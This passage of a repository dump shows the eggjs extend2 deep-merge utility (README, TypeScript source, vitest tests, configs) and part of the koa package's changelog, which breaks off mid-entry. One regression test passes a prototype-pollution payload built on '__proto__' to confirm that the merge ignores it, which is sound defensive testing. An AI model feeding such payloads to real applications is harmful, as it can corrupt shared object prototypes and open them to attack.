    "content": "# @eggjs/extend2\n\nForked from [node-extend], the difference is overriding array as primitive when deep clone.\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/extend2.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/extend2\n[snyk-image]: https://snyk.io/test/npm/extend2/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/extend2\n[download-image]: https://img.shields.io/npm/dm/@eggjs/extend2.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/extend2\n\n## Usage\n\n```ts\nimport { extend } from '@eggjs/extend2';\n\n// for deep clone\nextend(true, {}, object1, objectN);\n```\n\n## License\n\n`@eggjs/extend2` is licensed under the [MIT License](LICENSE).\n\n## Acknowledgements\n\nAll credit to the jQuery authors for perfecting this amazing utility.\n\nPorted to Node.js by [Stefan Thomas][github-justmoon] with contributions by [Jonathan Buchanan][github-insin] and [Jordan Harband][github-ljharb].\n\n[github-justmoon]: https://github.com/justmoon\n[github-insin]: https://github.com/insin\n[github-ljharb]: https://github.com/ljharb\n[node-extend]: https://github.com/justmoon/node-extend\n"
  },
  {
    "path": "packages/extend2/package.json",
    "content": "{\n  \"name\": \"@eggjs/extend2\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"Port of jQuery.extend for Node.js\",\n  \"keywords\": [\n    \"clone\",\n    \"extend\",\n    \"merge\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/extend2\",\n  \"license\": \"MIT\",\n  \"author\": \"popomore <sakura9515@gmail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/extend2\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/extend2/src/index.ts",
    "content": "const hasOwn = Object.prototype.hasOwnProperty;\nconst toStr = Object.prototype.toString;\n\nfunction isPlainObject(obj: unknown) {\n  if (!obj || toStr.call(obj) !== '[object Object]') {\n    return false;\n  }\n\n  const hasOwnConstructor = hasOwn.call(obj, 'constructor');\n  const hasIsPrototypeOf =\n    obj.constructor && obj.constructor.prototype && hasOwn.call(obj.constructor.prototype, 'isPrototypeOf');\n  // Not own constructor property must be Object\n  if (obj.constructor && !hasOwnConstructor && !hasIsPrototypeOf) {\n    return false;\n  }\n\n  // Own properties are enumerated firstly, so to speed up,\n  // if last one is own, then all properties are own.\n  let key: string | undefined;\n  for (key in obj) {\n    /**/\n  }\n\n  return typeof key === 'undefined' || hasOwn.call(obj, key);\n}\n\nexport function extend<T = Record<string, any>>(deepOrTarget?: unknown, ...objects: unknown[]): T {\n  // extend(deep, target, obj1, obj2, ...)\n  // extend(target, obj1, obj2, ...)\n  let target = deepOrTarget as any;\n  let i = 0;\n  const length = objects.length;\n  let deep = false;\n\n  // Handle a deep copy situation\n  if (typeof target === 'boolean') {\n    // extend(deep, target, obj1, obj2, ...)\n    deep = target;\n    target = objects[0] || {};\n    // skip the boolean and the target\n    i = 1;\n  } else if ((typeof target !== 'object' && typeof target !== 'function') || target == null) {\n    // extend(null, obj1, obj2, ...)\n    target = {};\n  }\n\n  for (; i < length; ++i) {\n    const options = objects[i] as any;\n    // Only deal with non-null/undefined values\n    if (options === null || options === undefined) continue;\n\n    // Extend the base object\n    for (const name in options) {\n      if (name === '__proto__') continue;\n\n      const src = target[name];\n      const copy = options[name];\n\n      // Prevent never-ending loop\n      if (target === copy) continue;\n\n      // Recurse if we're merging plain objects\n      if (deep && copy && isPlainObject(copy)) {\n        const clone = src && isPlainObject(src) ? src : {};\n        // Never move original objects, clone them\n        target[name] = extend(deep, clone, copy);\n\n        // Don't bring in undefined values\n      } else if (typeof copy !== 'undefined') {\n        target[name] = copy;\n      }\n    }\n  }\n\n  // Return the modified object\n  return target as T;\n}\n\nexport default extend;\n"
  },
  {
    "path": "packages/extend2/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport extend from '../src/index.js';\n\nconst str = 'me a test';\nconst integer = 10;\nconst arr = [1, 'what', new Date(81, 8, 4)];\nconst date = new Date(81, 4, 13);\n\nclass Foo {}\n\nconst obj = {\n  str,\n  integer,\n  arr,\n  date,\n  constructor: 'fake',\n  isPrototypeOf: 'not a function',\n  foo: new Foo(),\n};\n\nconst deep = {\n  ori: obj,\n  layer: {\n    integer: 10,\n    str: 'str',\n    date: new Date(84, 5, 12),\n    arr: [101, 'dude', new Date(82, 10, 4)],\n    deep: {\n      str: obj.str,\n      integer,\n      arr: obj.arr,\n      date: new Date(81, 7, 4),\n    },\n  },\n};\n\ndescribe('test/index.test.ts', () => {\n  it('missing arguments', () => {\n    assert.deepEqual(extend(undefined, { a: 1 }), { a: 1 }, 'missing first argument is second argument');\n    assert.deepEqual(extend({ a: 1 }), { a: 1 }, 'missing second argument is first argument');\n    assert.deepEqual(extend(true, undefined, { a: 1 }), { a: 1 }, 'deep: missing first argument is second argument');\n    assert.deepEqual(extend(true, { a: 1 }), { a: 1 }, 'deep: missing second argument is first argument');\n    assert.deepEqual(extend(), {}, 'no arguments is object');\n  });\n\n  it('merge string with string', () => {\n    const ori = 'what u gonna say';\n    const target = extend(ori, str);\n    const expectedTarget = {\n      0: 'm',\n      1: 'e',\n      2: ' ',\n      3: 'a',\n      4: ' ',\n      5: 't',\n      6: 'e',\n      7: 's',\n      8: 't',\n    };\n\n    assert.equal(ori, 'what u gonna say', 'original string 1 is unchanged');\n    assert.equal(str, 'me a test', 'original string 2 is unchanged');\n    assert.deepEqual(target, expectedTarget, 'string + string is merged object form of string');\n  });\n\n  it('merge string with number', () => {\n    const ori = 'what u gonna say';\n    const target = extend(ori, 10);\n\n    assert.equal(ori, 'what u gonna say', 'original string is unchanged');\n    assert.deepEqual(target, {}, 'string + number is empty object');\n  });\n\n  it('merge string with array', () => {\n    const ori = 'what u gonna say';\n    const target = extend(ori, arr);\n\n    assert.equal(ori, 'what u gonna say', 'original string is unchanged');\n    assert.deepEqual(arr, [1, 'what', new Date(81, 8, 4)], 'array is unchanged');\n    assert.deepEqual(\n      target,\n      {\n        0: 1,\n        1: 'what',\n        2: new Date(81, 8, 4),\n      },\n      'string + array is array',\n    );\n  });\n\n  it('merge string with date', () => {\n    const ori = 'what u gonna say';\n    const target = extend(ori, date);\n\n    const testDate = new Date(81, 4, 13);\n    assert.equal(ori, 'what u gonna say', 'original string is unchanged');\n    assert.deepEqual(date, testDate, 'date is unchanged');\n    assert.equal(target instanceof Date, false);\n    assert.deepEqual(target, {}, 'string + date is object');\n  });\n\n  it('merge string with obj', () => {\n    const ori = 'what u gonna say';\n    const target = extend(ori, obj);\n\n    assert.equal(ori, 'what u gonna say', 'original string is unchanged');\n    const testObj = {\n      str: 'me a test',\n      integer: 10,\n      arr: [1, 'what', new Date(81, 8, 4)],\n      date: new Date(81, 4, 13),\n      constructor: 'fake',\n      isPrototypeOf: 'not a function',\n      foo: new Foo(),\n    };\n    assert.deepEqual(obj, testObj, 'original obj is unchanged');\n    assert.deepEqual(target, testObj, 'string + obj is obj');\n  });\n\n  it('merge number with string', () => {\n    const ori = 20;\n    const target = extend(ori, str);\n\n    assert.equal(ori, 20, 'number is unchanged');\n    assert.equal(str, 'me a test', 'string is unchanged');\n    assert.deepEqual(\n      target,\n      {\n        0: 'm',\n        1: 'e',\n        2: ' ',\n        3: 'a',\n        4: ' ',\n        5: 't',\n        6: 'e',\n        7: 's',\n        8: 't',\n      },\n      'number + string is object form of string',\n    );\n  });\n\n  it('merge number with number', () => {\n    assert.deepEqual(extend(20, 10), {}, 'number + number is empty object');\n  });\n\n  it('merge number with array', () => {\n    const target = extend(20, arr);\n\n    assert.deepEqual(arr, [1, 'what', new Date(81, 8, 4)], 'array is unchanged');\n    assert.deepEqual(\n      target,\n      {\n        0: 1,\n        1: 'what',\n        2: new Date(81, 8, 4),\n      },\n      'number + arr is object with array contents',\n    );\n  });\n\n  it('merge number with date', () => {\n    const target = extend(20, date);\n    const testDate = new Date(81, 4, 13);\n\n    assert.deepEqual(date, testDate, 'original date is unchanged');\n    assert.deepEqual(target, {}, 'number + date is object');\n  });\n\n  it('merge number with object', () => {\n    const target = extend(20, obj);\n    const testObj = {\n      str: 'me a test',\n      integer: 10,\n      arr: [1, 'what', new Date(81, 8, 4)],\n      date: new Date(81, 4, 13),\n      constructor: 'fake',\n      isPrototypeOf: 'not a function',\n      foo: new Foo(),\n    };\n\n    assert.deepEqual(obj, testObj, 'obj is unchanged');\n    assert.deepEqual(target, testObj, 'number + obj is obj');\n  });\n\n  it('merge array with string', () => {\n    const ori = [1, 2, 3, 4, 5, 6];\n    const target = extend(ori, str);\n\n    assert.deepEqual(ori, str.split(''), 'array is changed to be an array of string chars');\n    assert.equal(str, 'me a test', 'string is unchanged');\n    assert.equal(target[0], 'm');\n    assert.equal(target['0'], 'm');\n    assert(Array.isArray(target));\n    assert.deepEqual(target, ['m', 'e', ' ', 'a', ' ', 't', 'e', 's', 't']);\n  });\n\n  it('merge array with number', () => {\n    const ori = [1, 2, 3, 4, 5, 6];\n    const target = extend(ori, 10);\n\n    assert.deepEqual(ori, [1, 2, 3, 4, 5, 6], 'array is unchanged');\n    assert.deepEqual(target, ori, 'array + number is array');\n  });\n\n  it('merge array with array', () => {\n    const ori = [1, 2, 3, 4, 5, 6];\n    const target = extend(ori, arr);\n    const testDate = new Date(81, 8, 4);\n    const expectedTarget = [1, 'what', testDate, 4, 5, 6];\n\n    assert.deepEqual(ori, expectedTarget, 'array + array merges arrays; changes first array');\n    assert.deepEqual(arr, [1, 'what', testDate], 'second array is unchanged');\n    assert.deepEqual(target, expectedTarget, 'array + array is merged array');\n  });\n\n  it('merge array with date', () => {\n    const ori = [1, 2, 3, 4, 5, 6];\n    const target = extend(ori, date);\n    const testDate = new Date(81, 4, 13);\n    const testArray = [1, 2, 3, 4, 5, 6];\n\n    assert.deepEqual(ori, testArray, 'array is unchanged');\n    assert.deepEqual(date, testDate, 'date is unchanged');\n    assert.deepEqual(target, testArray, 'array + date is array');\n  });\n\n  it('merge array with object', () => {\n    const ori: any = [1, 2, 3, 4, 5, 6];\n    const target = extend(ori, obj);\n    const testObject: any = {\n      str: 'me a test',\n      integer: 10,\n      arr: [1, 'what', new Date(81, 8, 4)],\n      date: new Date(81, 4, 13),\n      constructor: 'fake',\n      isPrototypeOf: 'not a function',\n      foo: new Foo(),\n    };\n\n    assert.deepEqual(obj, testObject, 'obj is unchanged');\n    assert.equal(ori.length, 6, 'array has proper length');\n    assert.equal(ori.str, obj.str, 'array has obj.str property');\n    assert.equal(ori.integer, obj.integer, 'array has obj.integer property');\n    assert.deepEqual(ori.arr, obj.arr, 'array has obj.arr property');\n    assert.equal(ori.date, obj.date, 'array has obj.date property');\n\n    assert.equal(target.length, 6, 'target has proper length');\n    assert.equal(target.str, obj.str, 'target has obj.str property');\n    assert.equal(target.integer, obj.integer, 'target has obj.integer property');\n    assert.deepEqual(target.arr, obj.arr, 'target has obj.arr property');\n    assert.equal(target.date, obj.date, 'target has obj.date property');\n  });\n\n  it('merge date with string', () => {\n    const ori = new Date(81, 9, 20);\n    const target = extend(ori, str);\n\n    assert(ori instanceof Date);\n    assert.equal(Reflect.get(ori, '0'), 'm');\n    assert.equal(str, 'me a test', 'string is unchanged');\n    assert.deepEqual(Reflect.get(target, '0'), 'm');\n    assert.equal(target, ori);\n  });\n\n  it('merge date with number', () => {\n    const ori = new Date(81, 9, 20);\n    const target = extend(ori, 10);\n\n    assert(ori instanceof Date);\n    assert.equal(target, ori);\n  });\n\n  it('merge date with array', () => {\n    const ori = new Date(81, 9, 20);\n    const target = extend(ori, arr);\n    const testDate = new Date(81, 9, 20);\n    const testArray = [1, 'what', new Date(81, 8, 4)];\n\n    assert.equal(ori.getTime(), testDate.getTime());\n    assert.equal(Reflect.get(ori, '1'), 'what');\n    assert.deepEqual(arr, testArray, 'array is unchanged');\n    assert.equal(target, ori);\n  });\n\n  it('merge date with date', () => {\n    const ori = new Date(81, 9, 20);\n    const target = extend(ori, date);\n\n    assert.equal(ori, target);\n  });\n\n  it('merge date with object', () => {\n    const ori = new Date(81, 9, 20);\n    const target = extend(ori, obj);\n    const testDate = new Date(81, 8, 4);\n    const testObject = {\n      str: 'me a test',\n      integer: 10,\n      arr: [1, 'what', testDate],\n      date: new Date(81, 4, 13),\n      constructor: 'fake',\n      isPrototypeOf: 'not a function',\n      foo: new Foo(),\n    };\n\n    assert.deepEqual(obj, testObject, 'original object is unchanged');\n    assert.deepEqual(ori, target);\n    assert.equal(target.getTime(), ori.getTime());\n    assert.equal(Reflect.get(ori, 'str'), 'me a test');\n    assert.equal(Reflect.get(target, 'constructor'), 'fake');\n  });\n\n  it('merge object with string', () => {\n    const testDate = new Date(81, 7, 26);\n    const ori = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: testDate,\n    };\n    const target = extend(ori, str);\n    const testObj = {\n      0: 'm',\n      1: 'e',\n      2: ' ',\n      3: 'a',\n      4: ' ',\n      5: 't',\n      6: 'e',\n      7: 's',\n      8: 't',\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: testDate,\n    };\n\n    assert.deepEqual(ori, testObj, 'original object updated');\n    assert.equal(str, 'me a test', 'string is unchanged');\n    assert.deepEqual(target, testObj, 'object + string is object + object form of string');\n  });\n\n  it('merge object with number', () => {\n    const ori = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n    };\n    const testObject = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n    };\n    const target = extend(ori, 10);\n    assert.deepEqual(ori, testObject, 'object is unchanged');\n    assert.deepEqual(target, testObject, 'object + number is object');\n  });\n\n  it('merge object with array', () => {\n    const ori = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n    };\n    const target = extend(ori, arr);\n    const testObject = {\n      0: 1,\n      1: 'what',\n      2: new Date(81, 8, 4),\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n    };\n\n    assert.deepEqual(ori, testObject, 'original object is merged');\n    assert.deepEqual(arr, [1, 'what', testObject[2]], 'array is unchanged');\n    assert.deepEqual(target, testObject, 'object + array is merged object');\n  });\n\n  it('merge object with date', () => {\n    const ori = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n    };\n    const target = extend(ori, date);\n    const testObject = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n    };\n\n    assert.deepEqual(ori, testObject, 'original object is unchanged');\n    assert.deepEqual(date, new Date(81, 4, 13), 'date is unchanged');\n    assert.deepEqual(target, testObject, 'object + date is object');\n  });\n\n  it('merge object with object', () => {\n    const ori = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n      foo: 'bar',\n    };\n    const target = extend(ori, obj);\n    const expectedObj = {\n      str: 'me a test',\n      integer: 10,\n      arr: [1, 'what', new Date(81, 8, 4)],\n      date: new Date(81, 4, 13),\n      constructor: 'fake',\n      isPrototypeOf: 'not a function',\n      foo: new Foo(),\n    };\n    const expectedTarget = {\n      str: 'me a test',\n      integer: 10,\n      arr: [1, 'what', new Date(81, 8, 4)],\n      date: new Date(81, 4, 13),\n      constructor: 'fake',\n      isPrototypeOf: 'not a function',\n      foo: new Foo(),\n    };\n\n    assert.deepEqual(obj, expectedObj, 'obj is unchanged');\n    assert.deepEqual(ori, expectedTarget, 'original has been merged');\n    assert.deepEqual(target, expectedTarget, 'object + object is merged object');\n  });\n\n  it('deep clone', () => {\n    const ori = {\n      str: 'no shit',\n      integer: 76,\n      arr: [1, 2, 3, 4],\n      date: new Date(81, 7, 26),\n      layer: { deep: { integer: 42 } },\n    };\n    const target = extend(true, ori, deep);\n\n    assert.deepEqual(\n      ori,\n      {\n        str: 'no shit',\n        integer: 76,\n        arr: [1, 2, 3, 4],\n        date: new Date(81, 7, 26),\n        ori: {\n          str: 'me a test',\n          integer: 10,\n          arr: [1, 'what', new Date(81, 8, 4)],\n          date: new Date(81, 4, 13),\n          constructor: 'fake',\n          isPrototypeOf: 'not a function',\n          foo: new Foo(),\n        },\n        layer: {\n          integer: 10,\n          str: 'str',\n          date: new Date(84, 5, 12),\n          arr: [101, 'dude', new Date(82, 10, 4)],\n          deep: {\n            str: 'me a test',\n            integer: 10,\n            arr: [1, 'what', new Date(81, 8, 4)],\n            date: new Date(81, 7, 4),\n          },\n        },\n      },\n      'original object is merged',\n    );\n    assert.deepEqual(\n      deep,\n      {\n        ori: {\n          str: 'me a test',\n          integer: 10,\n          arr: [1, 'what', new Date(81, 8, 4)],\n          date: new Date(81, 4, 13),\n          constructor: 'fake',\n          isPrototypeOf: 'not a function',\n          foo: new Foo(),\n        },\n        layer: {\n          integer: 10,\n          str: 'str',\n          date: new Date(84, 5, 12),\n          arr: [101, 'dude', new Date(82, 10, 4)],\n          deep: {\n            str: 'me a test',\n            integer: 10,\n            arr: [1, 'what', new Date(81, 8, 4)],\n            date: new Date(81, 7, 4),\n          },\n        },\n      },\n      'deep is unchanged',\n    );\n    assert.deepEqual(\n      target,\n      {\n        str: 'no shit',\n        integer: 76,\n        arr: [1, 2, 3, 4],\n        date: new Date(81, 7, 26),\n        ori: {\n          str: 'me a test',\n          integer: 10,\n          arr: [1, 'what', new Date(81, 8, 4)],\n          date: new Date(81, 4, 13),\n          constructor: 'fake',\n          isPrototypeOf: 'not a function',\n          foo: new Foo(),\n        },\n        layer: {\n          integer: 10,\n          str: 'str',\n          date: new Date(84, 5, 12),\n          arr: [101, 'dude', new Date(82, 10, 4)],\n          deep: {\n            str: 'me a test',\n            integer: 10,\n            arr: [1, 'what', new Date(81, 8, 4)],\n            date: new Date(81, 7, 4),\n          },\n        },\n      },\n      'deep + object + object is deeply merged object',\n    );\n\n    (target.layer as any).deep = 339;\n    assert.deepEqual(\n      deep,\n      {\n        ori: {\n          str: 'me a test',\n          integer: 10,\n          arr: [1, 'what', new Date(81, 8, 4)],\n          date: new Date(81, 4, 13),\n          constructor: 'fake',\n          isPrototypeOf: 'not a function',\n          foo: new Foo(),\n        },\n        layer: {\n          integer: 10,\n          str: 'str',\n          date: new Date(84, 5, 12),\n          arr: [101, 'dude', new Date(82, 10, 4)],\n          deep: {\n            str: 'me a test',\n            integer: 10,\n            arr: [1, 'what', new Date(81, 8, 4)],\n            date: new Date(81, 7, 4),\n          },\n        },\n      },\n      'deep is unchanged after setting target property',\n    );\n    // ----- NEVER USE EXTEND WITH THE ABOVE SITUATION ------------------------------\n  });\n\n  it('deep clone; arrays are override', () => {\n    const defaults = { arr: [1, 2, 3] };\n    const override = { arr: ['x'] };\n    const expectedTarget = { arr: ['x'] };\n\n    const target = extend(true, defaults, override);\n\n    assert.deepEqual(target, expectedTarget, 'arrays are merged');\n  });\n\n  it('deep clone === false; objects merged normally', () => {\n    const defaults = { a: 1 };\n    const override = { a: 2 };\n    const target = extend(false, defaults, override);\n    assert.deepEqual(target, override, 'deep === false handled normally');\n  });\n\n  it('pass in null; should create a valid object', () => {\n    const override = { a: 1 };\n    const target = extend(null, override);\n    assert.deepEqual(target, override, 'null object handled normally');\n  });\n\n  it('works without Array.isArray', () => {\n    const savedIsArray = Array.isArray;\n    (Array as any).isArray = false; // don't delete, to preserve enumerability\n    const target: any[] = [];\n    const source = [1, [2], { 3: true }];\n    assert.deepEqual(extend(true, target, source), [1, [2], { 3: true }], 'It works without Array.isArray');\n    Array.isArray = savedIsArray;\n  });\n\n  it('fix __proto__ copy', () => {\n    const r = extend(true, {}, JSON.parse('{\"__proto__\": {\"polluted\": \"yes\"}}'));\n    assert.deepEqual(JSON.stringify(r), '{}', 'It should not copy __proto__');\n    assert.deepEqual(('' as any).polluted, undefined, 'It should not affect object prototype');\n  });\n});\n"
  },
  {
    "path": "packages/extend2/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/extend2/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/koa/.gitignore",
    "content": "node_modules\ntest.js\ncoverage\nnpm-debug.log\n.idea\n*.iml\ndist\nlib\n!lib/application.test-d.ts\npackage-lock.json\n.tshy*\n.eslintcache\ntsconfig.tsbuildinfo\n"
  },
  {
    "path": "packages/koa/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 3.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## <small>3.0.1 (2025-08-08)</small>\n\n* fix: remove --experimental-strip-types (#25) ([0866329](https://github.com/eggjs/koa/commit/0866329)), closes [#25](https://github.com/eggjs/koa/issues/25)\n\n## [3.0.0](https://github.com/eggjs/koa/compare/v2.22.2...v3.0.0) (2025-07-30)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.17.1 support\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n* **New Features**\n* Added example projects demonstrating usage with both CommonJS and ES\nmodules.\n  * Introduced a new TypeScript example for quick server setup.\n\n* **Breaking Changes**\n  * Minimum required Node.js version raised to 22.17.1.\n* Major version bumped to 3.0.0-alpha.0 with updated package structure\nand exports.\n\n* **Documentation**\n* Updated installation instructions and Node.js version requirements in\nthe README.\n  * Removed the AUTHORS file.\n\n* **Chores**\n* Updated development dependencies and scripts for modern Node.js and\nTypeScript.\n  * Streamlined configuration files and ignored build artifacts.\n* Adjusted GitHub Actions workflows to test fewer Node.js versions and\nsupport all branches on merge groups.\n\n* **Tests**\n  * Migrated tests to use Node.js native test runner.\n  * Improved test strictness and modernized async control flow.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* esm only ([#24](https://github.com/eggjs/koa/issues/24)) ([e0c8218](https://github.com/eggjs/koa/commit/e0c82188d6c70c4badecc8c6bea26147160ede30))\n\n## [2.22.2](https://github.com/eggjs/koa/compare/v2.22.1...v2.22.2) (2025-07-30)\n\n\n### Bug Fixes\n\n* only allow back redirect to the same origin referer ([#23](https://github.com/eggjs/koa/issues/23)) ([82f99b6](https://github.com/eggjs/koa/commit/82f99b6d3610b9e6713661082314b89fe9396186))\n\n## [2.22.1](https://github.com/eggjs/koa/compare/v2.22.0...v2.22.1) (2025-04-08)\n\n\n### Bug Fixes\n\n* don't render redirect values in anchor ref ([8af1bed](https://github.com/eggjs/koa/commit/8af1bed1aeab9cb27333ec7083d777e1da77dfe6))\n\n## [2.22.0](https://github.com/eggjs/koa/compare/v2.21.0...v2.22.0) (2025-03-25)\n\n\n### Features\n\n* use oxlint and prettier ([#19](https://github.com/eggjs/koa/issues/19)) ([7911d7b](https://github.com/eggjs/koa/commit/7911d7bdd74ca6d87852095001fcbde511ed7c26))\n\n## [2.21.0](https://github.com/eggjs/koa/compare/v2.20.7...v2.21.0) (2025-03-13)\n\n\n### Features\n\n* remove http-assert ([#18](https://github.com/eggjs/koa/issues/18)) ([ce79a68](https://github.com/eggjs/koa/commit/ce79a6800b019dc70b19747214f2d90c56292aa5))\n\n## [2.20.7](https://github.com/eggjs/koa/compare/v2.20.6...v2.20.7) (2025-02-12)\n\n\n### Bug Fixes\n\n* avoid redos on host and protocol getter ([#17](https://github.com/eggjs/koa/issues/17)) ([cd6b487](https://github.com/eggjs/koa/commit/cd6b48781d3d77968fcec8d5cb7834d4b1664e75))\n\n## [2.20.6](https://github.com/eggjs/koa/compare/v2.20.5...v2.20.6) (2025-01-02)\n\n\n### Bug Fixes\n\n* remove template on use MiddlewareFunc ([f4315d9](https://github.com/eggjs/koa/commit/f4315d9cebc594bacfaa994f4d6ac548c97c57b8))\n\n## [2.20.5](https://github.com/eggjs/koa/compare/v2.20.4...v2.20.5) (2025-01-02)\n\n\n### Bug Fixes\n\n* MiddlewareFunc define ([06d494c](https://github.com/eggjs/koa/commit/06d494cb5bf9dd9371aa6f9c8434216c256675e7))\n\n## [2.20.4](https://github.com/eggjs/koa/compare/v2.20.3...v2.20.4) (2025-01-02)\n\n\n### Bug Fixes\n\n* remove template on Application ([#16](https://github.com/eggjs/koa/issues/16)) ([0070bcf](https://github.com/eggjs/koa/commit/0070bcf4fb34b64d2e8f23b12c9a4a18ba8b9aed))\n\n## [2.20.3](https://github.com/eggjs/koa/compare/v2.20.2...v2.20.3) (2025-01-02)\n\n\n### Bug Fixes\n\n* remove delegates from Context ([#15](https://github.com/eggjs/koa/issues/15)) ([a3bdefe](https://github.com/eggjs/koa/commit/a3bdefed4f37995c0316e8acf1d0387e54d31b44))\n\n## [2.20.2](https://github.com/eggjs/koa/compare/v2.20.1...v2.20.2) (2024-12-19)\n\n\n### Bug Fixes\n\n* make Context state property can be override by Sub Class ([#14](https://github.com/eggjs/koa/issues/14)) ([49abe7f](https://github.com/eggjs/koa/commit/49abe7f3e707d383c858ca3b6463e87c30ca2d7a))\n\n## [2.20.1](https://github.com/eggjs/koa/compare/v2.20.0...v2.20.1) (2024-12-19)\n\n\n### Bug Fixes\n\n* let MiddlewareFunc can extend by custom Context interface ([#13](https://github.com/eggjs/koa/issues/13)) ([320fbf5](https://github.com/eggjs/koa/commit/320fbf5ee36e4541ce6f29a059e8a82c3751517f))\n\n## [2.20.0](https://github.com/eggjs/koa/compare/v2.19.2...v2.20.0) (2024-12-18)\n\n\n### Features\n\n* allow to set symbol property on request, response, context and app ([#12](https://github.com/eggjs/koa/issues/12)) ([5e18ed2](https://github.com/eggjs/koa/commit/5e18ed261d62186b7c23ec97cb41c20e9d9d89e7))\n\n## [2.19.2](https://github.com/eggjs/koa/compare/v2.19.1...v2.19.2) (2024-12-11)\n\n\n### Bug Fixes\n\n* allow delegate access request property ([#11](https://github.com/eggjs/koa/issues/11)) ([2967724](https://github.com/eggjs/koa/commit/2967724289e714bf544f51ca6ae58c64739cda1e))\n\n## [2.19.1](https://github.com/eggjs/koa/compare/v2.19.0...v2.19.1) (2024-07-07)\n\n\n### Bug Fixes\n\n* change keys to getter and setter ([e0dc2a0](https://github.com/eggjs/koa/commit/e0dc2a014ede8d20f21a6ef485ae080084949620))\n\n## [2.19.0](https://github.com/eggjs/koa/compare/v2.18.5...v2.19.0) (2024-07-07)\n\n\n### Features\n\n* emit request and response event on app ([d5f08b4](https://github.com/eggjs/koa/commit/d5f08b467385128ba94549681b970272f811fd23))\n\n## [2.18.5](https://github.com/eggjs/koa/compare/v2.18.4...v2.18.5) (2024-07-07)\n\n\n### Bug Fixes\n\n* export handleRequest on application ([#10](https://github.com/eggjs/koa/issues/10)) ([dfda217](https://github.com/eggjs/koa/commit/dfda217c51c00d7b0bcbefc281104c6be45ffebb))\n\n## [2.18.4](https://github.com/eggjs/koa/compare/v2.18.3...v2.18.4) (2024-06-30)\n\n\n### Bug Fixes\n\n* change env and proxy to getter and setter ([#9](https://github.com/eggjs/koa/issues/9)) ([14aa2c5](https://github.com/eggjs/koa/commit/14aa2c5afff73d853ebd0fc113a259fdc735a1aa))\n\n## [2.18.3](https://github.com/eggjs/koa/compare/v2.18.2...v2.18.3) (2024-06-16)\n\n\n### Bug Fixes\n\n* change debug prefix to @eggjs/koa ([#8](https://github.com/eggjs/koa/issues/8)) ([c5e4cc5](https://github.com/eggjs/koa/commit/c5e4cc56205386ce5dd7daafef3c9a56b7daddb8))\n\n## [2.18.2](https://github.com/eggjs/koa/compare/v2.18.1...v2.18.2) (2024-06-15)\n\n\n### Bug Fixes\n\n* should export ContextDelegation and Context both ([#7](https://github.com/eggjs/koa/issues/7)) ([b26b549](https://github.com/eggjs/koa/commit/b26b54974fb4f081c14ef453efce03c9a6604793))\n\n## [2.18.1](https://github.com/eggjs/koa/compare/v2.18.0...v2.18.1) (2024-06-11)\n\n\n### Bug Fixes\n\n* should export Application ([#6](https://github.com/eggjs/koa/issues/6)) ([b39a51a](https://github.com/eggjs/koa/commit/b39a51a962d13ac67805ea3beedb995f5748a4d4))\n\n## [2.18.0](https://github.com/eggjs/koa/compare/v2.17.0...v2.18.0) (2024-06-08)\n\n\n### Features\n\n* support cjs and esm both ([#5](https://github.com/eggjs/koa/issues/5)) ([b555b32](https://github.com/eggjs/koa/commit/b555b32bcc6c10c85b21a6186d1a1619b6c7b9ac))\n\n## 